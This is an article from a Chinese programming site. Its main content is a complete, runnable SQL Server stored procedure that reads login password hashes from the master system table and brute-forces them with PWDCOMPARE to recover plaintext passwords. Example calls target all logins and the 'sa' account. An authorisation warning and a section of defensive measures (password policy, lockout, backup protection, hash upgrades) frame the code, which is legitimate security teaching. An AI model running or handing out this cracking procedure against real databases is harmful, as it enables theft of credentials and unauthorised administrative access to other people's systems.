首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server SA 密碼暴力破解存儲過程實戰與防禦思考

     編輯:關於SqlServer

⚠️ 安全警示

本文僅供**安全研究、滲透測試授權範圍內、或理解攻擊原理以加強防禦**之用。**嚴禁用於未授權系統**。生產環境請務必啟用強密碼策略、鎖定策略、審計登入失敗、限制 SA 遠程登入。

存儲過程原理解析

此存儲過程 `p_GetPassWord` 採用**窮舉法 (Brute Force)** 破解 SQL Server 登入密碼:

  • 支援中文、特殊字元、尾隨空格密碼
  • 結果顯示密碼明文與 ASCII 碼對照,便於識別不可見字元
  • 理論上可破解任意長度,受限於 CPU/時間
  • 核心利用 `PWDCOMPARE(候選密碼, 密碼雜湊, 類型)` 系統函數驗證

核心程式碼(已格式化並加註)

IF EXISTS (SELECT * FROM dbo.sysobjects 
    WHERE id = OBJECT_ID(N'[dbo].[p_GetPassWord]') AND OBJECTPROPERTY(id, N'IsProcedure') = 1)
    DROP PROCEDURE [dbo].[p_GetPassWord];
GO

CREATE PROC p_GetPassWord
    @username SYSNAME = NULL,  -- 指定用戶,NULL 為全庫用戶
    @pwdlen INT = 2            -- 最大嘗試長度 (預設 2 位含以下)
AS
BEGIN
    SET @pwdlen = CASE WHEN ISNULL(@pwdlen,0) < 1 THEN 1 ELSE @pwdlen - 1 END;

    -- 建立 0-255 數字輔助表
    SELECT TOP 255 ID = IDENTITY(INT, 0, 1) INTO #t FROM syscolumns;
    ALTER TABLE #t ADD CONSTRAINT PK_#t PRIMARY KEY (ID);

    -- 取得目標用戶密碼雜湊
    SELECT name, password,
        type = CASE WHEN xstatus & 2048 = 2048 THEN 1 ELSE 0 END,  -- 1=SQL 登入, 0=Windows
        jm = CASE WHEN password IS NULL THEN 1 ELSE 0 END,          -- 1=已破解/無密碼
        pwdstr = CAST('' AS SYSNAME),   -- 破解出的明文
        pwd = CAST('' AS VARCHAR(8000)) -- 明文 ASCII 碼串
    INTO #pwd
    FROM master.dbo.sysxlogins a
    WHERE srvid IS NULL AND name = ISNULL(@username, name);

    DECLARE @s1 VARCHAR(8000), @s2 VARCHAR(8000), @s3 VARCHAR(8000), @l INT;
    SELECT @l = 0, @s1 = 'CHAR(aa.id)', @s2 = 'CAST(aa.id AS VARCHAR)', @s3 = ',#t aa';

    -- 第 1 位字元嘗試
    EXEC('
        UPDATE pwd SET jm=1, pwdstr=' + @s1 + ', pwd=' + @s2 + '
        FROM #pwd pwd' + @s3 + '
        WHERE pwd.jm=0 AND PWDCOMPARE(' + @s1 + ', pwd.password, pwd.type)=1
    ');

    -- 多位字元遞迴嘗試 (動態構建 CHAR(aa.id)+CHAR(bb.id)+...)
    WHILE EXISTS(SELECT 1 FROM #pwd WHERE jm=0 AND @l < @pwdlen)
    BEGIN
        SELECT @l = @l + 1,
            @s1 = @s1 + '+CHAR(' + CHAR(@l/26+97) + CHAR(@l%26+97) + '.id)',
            @s2 = @s2 + '+'','' + CAST(' + CHAR(@l/26+97) + CHAR(@l%26+97) + '.id AS VARCHAR)',
            @s3 = @s3 + ',#t ' + CHAR(@l/26+97) + CHAR(@l%26+97);

        EXEC('
            UPDATE pwd SET jm=1, pwdstr=' + @s1 + ', pwd=' + @s2 + '
            FROM #pwd pwd' + @s3 + '
            WHERE pwd.jm=0 AND PWDCOMPARE(' + @s1 + ', pwd.password, pwd.type)=1
        ');
    END

    SELECT 用戶名 = name, 密碼 = pwdstr, 密碼ASCII = pwd FROM #pwd;
END
GO

調用範例

-- 破解所有用戶 4 位以內密碼
EXEC p_GetPassWord @pwdlen = 4;

-- 破解特定用戶 6 位以內密碼
EXEC p_GetPassWord @username = 'sa', @pwdlen = 6;

攻擊面分析與防禦對策

攻擊向量防禦措施實施優先級
弱密碼 (短、純數字、常見字典)強制密碼策略:長度≥12、大小寫+數字+特殊字元、定期輪換★★★★★
SA 帳號暴露於網路禁用 SA、改用 Windows 驗證、限制登入 IP、非必要不開放 1433 對外★★★★★
離線雜湊破解 (備份檔、同步副本洩露)備份加密 (TDE/備份壓縮加密)、嚴格權限控管備份檔存取★★★★☆
線上窮舉 (登入嘗試)登入失敗鎖定策略、IP 封鎖、審計登入失敗事件、WAF/防火牆限流★★★★☆
系統表權限過大 (sysxlogins 可讀)最小權限原則,普通登入無權查詢 master.dbo.sysxlogins★★★★☆

進階防禦:密碼雜湊升級

  • SQL Server 2012+ 預設使用 **SHA-512 + 鹽值** 雜湊,大幅增加破解成本。
  • 舊版本 (2000/2005/2008) 使用 SHA-1 無鹽,極易被彩虹表/GPU 破解。**強烈建議升級**。
  • 若無法升級,考慮啟用 **透明資料加密 (TDE)** 保護靜態資料,並嚴格管控備份檔。

小結

此存儲過程展示了離線密碼雜湊窮舉破解的經典邏輯。防禦核心在於:**消除弱密碼、隔離高權限帳號、保護雜湊不外洩、升級雜湊演算法**。資料庫安全是系統安全的最後一道防線,容不得半點鬆懈。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved